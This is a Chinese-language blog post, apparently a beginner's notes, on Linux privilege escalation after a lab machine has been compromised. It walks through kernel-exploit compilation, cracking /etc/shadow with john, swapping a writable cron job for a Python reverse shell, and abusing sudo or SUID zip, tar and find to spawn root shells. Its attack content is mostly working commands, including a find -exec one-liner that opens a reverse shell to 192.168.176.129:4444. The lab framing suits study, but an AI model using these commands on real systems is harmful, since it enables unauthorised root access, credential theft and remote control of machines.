0x00_前言
小小博客,大大梦想。
博主还是小白,总结几个有关于在入侵靶机后进行的后渗透,如何在Linux下的关于普通用户提权到root下的操作,如有错误或其他请多多包含,希望提出多交流。
0x01_提权前的环境
0x02_操作简介
提权的四个骚操作:
0x03_详细操作
1.内核溢出
①在内核漏洞提权的过程中,需要明确目标的系统的发行版本以及内核版本,对应的命令如下:
查看发行版本
cat /etc/issue #目标靶场的发行版本文件
cat /etc/*_release #发行版本号
uname -a
searchsploit Ubuntu 14.04.5 #可接发行版本和内核版本
③上传内核溢出代码,进行编译执行
找到42276.c将其复制成exp.c并移到主目录
接着上传
upload exp.c
gcc exp.c -o exploit #编译成可执行程序
chmod +x exploit
./exploit
2. 明文密文解密
①在Linux中,密码和用户存在/etc/passwd中,而密码hash的值放在/etc/shadow中。passwd是全用户可读,shadow是仅root用户可读。如果在metasploit中可以使用以下命令进行下载
metasploit>download /etc/passwd | /etc/shadow
如果没有这个,需要查看是否有权限查看
cat /etc/passwd
cat /etc/shadow
没有权限则无法进行
②下载后,可以使用john进行破解。需要将passwd和shadow转换成john可识别的密码文件
unshadow passwd shadow > cracked
john cracked
系统内可能存在一些定时执行的任务,一般由crontab管理,具有所属用户权限。普通用户可以列出/etc/内系统的定时任务可以被列出,但不可列出root的。如果有存在当前用户或所有用户可执行修改的定时进程,则可以替换该文件,变成反弹shell提权的代码。如脚本为py的,其它的类似如下操作
反弹shell脚本
#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #以太网和TCP套接字
s.connect(("127.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]) #进程调用/bin/sh
查看是否有替他用户的计划任务
cat /etc/crontab
发现并没有可写的文件,则没办法使用此方法
然后再进行nc监听获得权限
nc -nlvp 4444
4. 密码复用
①很有可能数据库、Web后台的密码就是root密码,而普通用户使用sudo -l到root,是需要一个tty的环境,可以使用以下命令
python -c "import pty;pty.spawn('/bin/bash')"
/bin/sh -i
/bin/bash -i
②寻找wordpress中的包含config字眼的文件,具有一些重要配置的文件,往往都有密码和用户名
cd /home
ls #查看用户
ls -alh
③注意是否开启ssh服务等远程连接服务,再使用找到的用户名和密码进行尝试。接着查看该用户可以使用root的那些权限,如find、zip、tar等,可以利用这些进行提权
sudo -l #查看可使用的root权限获得root权限
注:要设置用户特定的使用权限,可以如下设置
如没有设置,则可以直接su -l回车,输入密码,获得root权限,如果有进行下面的find、zip、tar等,可以利用这些进行提权
1)zip进行提权
zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有".zip"扩展名的压缩文件。对黑客来说,更令黑客吸引的是它可以用来执行系统命令,把exploit压缩成exploit.zip,再解压并执行sh -c /bin/bash,这样就可以提升成root权限。
touch exploit #创建文件
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
2)tar进行提权
tar是用来建立,还原备份文件的工具程序,它可以加入,解开备份文件内的文件。–checkpoint 读取备份文件时列出目录名称,必为整数,后执行/bin/bash,获得root权限
touch exploit
sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action="/bin/bash"
3)find进行提权
Linux find命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。它同样可以用来执行命令,我们查看具有root用户权限的SUID文件,并执行相关命令。
find / -perm -u=s -type f 2>/dev/null
/usr/bin/find examples.desktop -exec whoami \; #执行相应的root命令
find / -name wget #上传
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
ls -lh /usr/bin/find #查看是否具有root权限
/usr/bin/find readme.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.176.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #反弹一个sh类型的shell